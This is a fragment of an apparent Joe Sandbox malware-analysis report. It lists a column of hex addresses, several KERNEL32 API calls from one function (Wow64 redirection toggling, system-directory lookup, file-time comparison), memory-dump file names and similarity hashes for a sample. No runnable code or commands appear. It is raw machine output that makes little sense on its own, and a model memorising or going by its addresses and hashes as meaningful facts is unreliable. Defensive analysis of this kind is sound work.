                                                                                  0x00b66ac0
                                                                                  0x00b66ac4
                                                                                  0x00b66ac5
                                                                                  0x00b66ac6
                                                                                  0x00b66acc
                                                                                  0x00b66ad2
                                                                                  0x00b66ad3
                                                                                  0x00b66ad9
                                                                                  0x00b66adc
                                                                                  0x00b66aef
                                                                                  0x00b66af8
                                                                                  0x00b66b02
                                                                                  0x00b66b05
                                                                                  0x00b66b19
                                                                                  0x00b66b2b
                                                                                  0x00b66b2d
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00b66b3d
                                                                                  0x00b66b59
                                                                                  0x00b66b6a
                                                                                  0x00b66b71
                                                                                  0x00b66b83
                                                                                  0x00b66b8d
                                                                                  0x00b66b91
                                                                                  0x00b66b91
                                                                                  0x00b66b96
                                                                                  0x00b66b9c
                                                                                  0x00b66b9f
                                                                                  0x00b66bb8
                                                                                  0x00b66bbe
                                                                                  0x00b66bc0
                                                                                  0x00b66bd2
                                                                                  0x00b66bd4
                                                                                  0x00b66bd4
                                                                                  0x00b66bd9
                                                                                  0x00b66bda
                                                                                  0x00b66bdd
                                                                                  0x00b66bdd
                                                                                  0x00b66be2
                                                                                  0x00b66be5
                                                                                  0x00b66bef
                                                                                  0x00b66bf2
                                                                                  0x00b66bf5
                                                                                  0x00b66bf5
                                                                                  0x00b66bfd
                                                                                  0x00000000
                                                                                  0x00b66bfd
                                                                                  0x00b66b0b
                                                                                  0x00b66b11
                                                                                  0x00b66b13
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00b66b13
                                                                                  0x00b66af1
                                                                                  0x00000000

                                                                                  APIs
                                                                                  • SystemTimeToFileTime.KERNEL32(?,?), ref: 00B66AE7
                                                                                  • Wow64DisableWow64FsRedirection.KERNEL32(?), ref: 00B66B0B
                                                                                  • GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00B66B25
                                                                                  • GetFileAttributesExW.KERNEL32(00000000,00000000,?), ref: 00B66BB8
                                                                                  • CompareFileTime.KERNEL32(?,?), ref: 00B66BCA
                                                                                  • Wow64RevertWow64FsRedirection.KERNEL32(?), ref: 00B66BF5
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: Wow64$FileTime$RedirectionSystem$AttributesCompareDirectoryDisableRevert
                                                                                  • String ID:
                                                                                  • API String ID: 353865529-0
                                                                                  • Opcode ID: 471bc9b9325364cf5e9886e4e050ae5ffbaf6dd9bf5960114a31440c86639a03
                                                                                  • Instruction ID: 8d4cf251ffd6e25f616a0fc694e2b708c859b052b334ff74fda1efd0db812076
                                                                                  • Opcode Fuzzy Hash: 471bc9b9325364cf5e9886e4e050ae5ffbaf6dd9bf5960114a31440c86639a03
                                                                                  • Instruction Fuzzy Hash: 92418D76A0061DAADB50EBF4DC46AEFB7FCEF04301F4084BAE509E3150EE749A458B91
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%